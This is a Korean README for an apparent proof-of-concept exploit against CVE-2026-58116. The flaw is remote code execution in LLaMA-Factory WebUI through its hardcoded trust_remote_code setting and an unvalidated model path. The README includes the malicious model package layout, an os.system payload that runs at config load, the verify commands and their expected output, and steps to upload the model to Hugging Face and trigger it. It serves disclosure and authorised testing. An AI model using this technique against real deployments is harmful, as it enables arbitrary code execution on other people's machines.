CVE-2026-58116에 대한 개념 증명 익스플로잇으로, trust_remote_code 모델 경로 주입을 통해 LLaMA-Factory WebUI에서 원격 코드 실행을 시연합니다. 승인된 보안 테스트를 위한 페이로드 모델 및 검증 스크립트를 포함합니다.
trust_remote_code를 통한)CVE-2026-58116 (CVSS 9.8 심각)에 대한 개념 증명: LLaMA-Factory <= v0.9.5에서의 원격 코드 실행.
LLaMA-Factory WebUI는 모델 로드 시 trust_remote_code=True를 하드코딩합니다 (src/llamafactory/webui/chatter.py:139 및 runner.py:175,320). 공격자가 제어하는 "Model path" 필드는 검증되지 않은 상태로 AutoTokenizer.from_pretrained() / AutoModel.from_pretrained()로 전달되어, Hugging Face transformers 라이브러리가 악성 모델 저장소에서 임의의 Python 코드를 다운로드 및 실행하게 됩니다.
이 PoC는 승인된 보안 테스트 및 교육용으로만 제공됩니다. 포함된 페이로드는 의도적으로 무해하며 (id를 통해 호스트 정보를 출력합니다). 소유하거나 테스트 권한이 있는 시스템에서만 실행하십시오. 명시적 허가 없이 악성 페이로드를 인프라에 배포하지 마십시오.
.
├── poc-model/
│ ├── config.json # declares auto_map → attacker modules
│ ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│ ├── modeling_poc.py # minimal stub model class
│ └── __init__.py # makes it an importable package
└── build_and_verify.py # assemble + verify the sink in isolation
transformers는 가중치를 로드하기 전에 설정 클래스를 인스턴스화하므로, PoCConfig.__init__의 페이로드는 설정이 읽히는 즉시 실행됩니다 — 가중치가 존재할 필요가 없습니다. 이것이 정확히 LLaMA-Factory가 src/llamafactory/model/loader.py를 통해 접근하는 경로입니다:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcoded)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
로컬에서 취약점 확인 (WebUI 필요 없음 — WebUI가 위반하는 계약을 증명함):
pip install transformers torch
python3 build_and_verify.py
예상 출력 — 페이로드 배너가 설정 로드 중에 나타나는 것에 주목하세요:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
실행 중인 LLaMA-Factory WebUI를 통한 종단 간 테스트:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc로 설정한 후 Load Model을 클릭.